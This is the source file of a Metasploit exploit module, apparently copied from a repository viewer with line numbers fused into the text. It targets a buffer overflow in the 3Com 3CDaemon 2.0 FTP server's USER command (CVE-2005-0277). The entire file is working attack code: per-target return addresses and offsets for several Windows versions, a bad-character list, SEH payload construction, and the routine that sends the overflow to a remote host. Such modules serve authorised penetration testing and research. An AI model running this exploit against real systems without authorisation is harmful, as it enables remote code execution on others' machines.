Path: blob/master/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb
52033 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => '3Com 3CDaemon 2.0 FTP Username Overflow',16'Description' => %q{17This module exploits a vulnerability in the 3Com 3CDaemon18FTP service. This package is being distributed from the 3Com19web site and is recommended in numerous support documents.20This module uses the USER command to trigger the overflow.21},22'Author' => [23'hdm', # Original author24'otr' # Windows XP SP325],26'License' => MSF_LICENSE,27'References' => [28[ 'CVE', '2005-0277'],29[ 'OSVDB', '12810'],30[ 'OSVDB', '12811'],31[ 'BID', '12155']32],33'DefaultOptions' => {34'EXITFUNC' => 'seh',35'target' => 036},37'Privileged' => false,38'Payload' => {39'Space' => 674,40'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",41'StackAdjustment' => -3500,42'Compat' =>43{44'ConnectionType' => '-find'45}46},47'Targets' => [48[49'Windows 2000 English', # Tested OK - hdm 11/24/200550{51'Platform' => 'win',52'Ret' => 0x75022ac4, # ws2help.dll53'Offset' => 22954},55],56[57'Windows XP English SP0/SP1',58{59'Platform' => 'win',60'Ret' => 0x71aa32ad, # ws2help.dll61'Offset' => 22962},63],64[65'Windows NT 4.0 SP4/SP5/SP6',66{67'Platform' => 'win',68'Ret' => 0x77681799, # ws2help.dll69'Offset' => 22970},71],72[73'Windows 2000 Pro SP4 French',74{75'Platform' => 'win',76'Ret' => 0x775F29D0,77'Offset' => 22978},79],80[81'Windows XP English SP3',82{83'Platform' => 'win',84'Ret' => 0x7CBD41FB, # 7CBD41FB JMP ESP shell32.data SP385# 'Ret' => 0x775C2C1F, # 775C2C1F JMP ESP shell32.data SP186'Offset' => 24587},88],89],90'DisclosureDate' => '2005-01-04',91'Notes' => {92'Reliability' => UNKNOWN_RELIABILITY,93'Stability' => UNKNOWN_STABILITY,94'SideEffects' => UNKNOWN_SIDE_EFFECTS95}96)97)98end99100def check101connect102disconnect103if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)104return Exploit::CheckCode::Appears105end106107return Exploit::CheckCode::Safe108end109110def exploit111connect112113print_status("Trying target #{target.name}...")114115if (target == targets[4])116buf = rand_text_english(target['Offset'], payload_badchars)117buf << [ target['Ret'] ].pack('V') * 2118buf << payload.encoded119else120buf = rand_text_english(2048, payload_badchars)121seh = generate_seh_payload(target.ret)122buf[target['Offset'], seh.length] = seh123end124125send_cmd(['USER', buf], false)126127handler128disconnect129end130end131132133